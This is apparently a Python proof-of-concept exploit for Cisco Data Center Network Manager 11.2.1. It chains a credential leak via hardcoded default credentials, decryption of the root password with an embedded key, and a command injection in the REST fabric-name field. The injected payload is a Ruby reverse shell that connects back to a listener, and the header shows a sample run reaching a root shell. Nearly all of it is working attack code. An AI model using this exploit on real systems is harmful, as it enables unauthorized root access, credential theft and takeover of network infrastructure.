#!/usr/bin/python
"""
Cisco Data Center Network Manager LanFabricImpl createLanFabric Command Injection Remote Code Execution Vulnerability
Tested on: Cisco DCNM 11.2.1 ISO Virtual Appliance for VMWare, KVM and Bare-metal servers
- Release: 11.2(1)
- Release Date: 05-Jun-2019
- FileName: dcnm-va.11.2.1.iso.zip
- Size: 4473.54 MB (4690850167 bytes)
- MD5 Checksum: b1bba467035a8b41c63802ce8666b7bb
Bug 1: CVE-2019-15977 / ZDI-20-012
Bug 2: CVE-2019-15977 / ZDI-20-013
Bug 3: CVE-2019-15978 / ZDI-20-102
Example:
========
saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.100.123 192.168.100.59
(+) eg: ./poc.py 192.168.100.123 192.168.100.59:1337
saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.59:1337
(+) leaked user: root
(+) leaked pass: Dcnmpass123
(+) leaked vfs path: temp18206a94b7c45072/content-85ba056e1faec012
(+) created a root session!
(+) starting handler on port 1337
(+) connection from 192.168.100.123
(+) pop thy shell!
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux localhost 3.10.0-957.10.1.el7.x86_64 #1 SMP Mon Mar 18 15:06:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
"""
import re
import sys
import random
import socket
import string
import requests
import telnetlib
from threading import Thread
from Crypto.Cipher import Blowfish
from requests.auth import HTTPBasicAuth
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def handler(lp):
print "(+) starting handler on port %d" % lp
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lp))
s.listen(1)
conn, addr = s.accept()
print "(+) connection from %s" % addr[0]
t.sock = conn
print "(+) pop thy shell!"
t.interact()
def exec_code(t, lp, s):
handlerthr = Thread(target=handler, args=(lp,))
handlerthr.start()
c = { "JSESSIONID" : sessionid }
r = requests.get("https://%s/%s" % (t, s), cookies=c, verify=False)
def random_string(string_length = 8):
""" generate a random string of fixed length """
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(string_length))
def decrypt(key):
""" decrypt the leaked password """
cipher = Blowfish.new("jaas is the way", Blowfish.MODE_ECB)
msg = cipher.decrypt(key.decode("hex"))
return msg
def we_can_leak(target):
""" used to bypass auth """
global dbuser, dbpass, vfspth, jdbc, rootuser, rootpass
dbuser = None
dbpass = None
vfspth = None
rootuser = None
rootpass = None
jdbc = None
uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
c = HTTPBasicAuth('admin', 'nbv_12345')
r = requests.get(uri, verify=False, auth=c)
leaked = r.text
match = re.search("db.password = #(.*)", leaked)
if match:
dbpass = match.group(1)
match = re.search("db.user = (.*)", leaked)
if match:
dbuser = match.group(1)
match = re.search("dcnmweb = (.*)", leaked)
if match:
vfspth = match.group(1)
match = re.search("db.url = (.*)", leaked)
if match:
jdbc = match.group(1)
match = re.search("server.sftp.password = #(.*)", leaked)
if match:
rootpass = match.group(1)
match = re.search("server.sftp.username = (.*)", leaked)
if match:
rootuser = match.group(1)
if dbuser and dbpass and vfspth and jdbc and rootuser and rootpass:
return True
return False
def we_can_login(target, password):
""" we have bypassed auth at this point by leaking the creds """
global sessionid, resttoken
d = {
"j_username" : rootuser,
"j_password" : password,
}
uri = "https://%s/j_spring_security_check" % target
r = requests.post(uri, data=d, verify=False, allow_redirects=False)
if "Set-Cookie" in r.headers:
match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,3}:.{44});", r.headers["Set-Cookie"])
if match:
sessionid = match.group(1)
resttoken = match.group(2)
return True
return False
def pop_a_root_shell(t, ls, lp):
""" get dat shell! """
handlerthr = Thread(target=handler, args=(lp,))
handlerthr.start()
uri = "https://%s/rest/fabrics" % t
cmdi = "%s\";'`{ruby,-rsocket,-e'c=TCPSocket.new(\"%s\",\"%d\");" % (random_string(), ls, lp)
cmdi += "while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print(io.read)}end'}`'\""
j = {
"name" : cmdi,
# this is needed to pass validate() on line 149 of the LanFabricImpl class
"generalSetting" : {
"asn" : "1337",
"provisionOption" : "Manual"
},
"provisionSetting" : {
"dhcpSetting": {
"primarySubnet" : "127.0.0.1",
"primaryDNS" : "127.0.0.1",
"secondaryDNS" : "127.0.0.1"
},
"ldapSetting" : {
"server" : "127.0.0.1"
},
"amqpSetting" : {
"server" : "127.0.0.1:1337"
}
}
}
c = { "resttoken": resttoken }
r = requests.post(uri, json=j, cookies=c, verify=False)
if r.status_code == 200 and ls in r.text:
return True
return False
def main():
if len(sys.argv) != 3:
print "(+) usage: %s <target> <connectback:port>" % sys.argv[0]
print "(+) eg: %s 192.168.100.123 192.168.100.59" % sys.argv[0]
print "(+) eg: %s 192.168.100.123 192.168.100.59:1337" % sys.argv[0]
sys.exit(1)
t = sys.argv[1]
cb = sys.argv[2]
if not ":" in cb:
print "(+) using default connectback port 4444"
ls = cb
lp = 4444
else:
if not cb.split(":")[1].isdigit():
print "(-) %s is not a port number!" % cb.split(":")[1]
sys.exit(-1)
ls = cb.split(":")[0]
lp = int(cb.split(":")[1])
# stage 1 - leak the creds
if we_can_leak(t):
pwd = re.sub(r'[^\x20-\x7F]+','', decrypt(rootpass))
print "(+) leaked user: %s" % rootuser
print "(+) leaked pass: %s" % pwd
print "(+) leaked vfs path: %s" % "/".join(vfspth.split("/")[10:])
# stage 2 - get a valid sesson
if we_can_login(t, pwd):
print "(+) created a root session!"
# stage 3 - get a root shell via cmdi
pop_a_root_shell(t, ls, lp)
if __name__ == "__main__":
main()
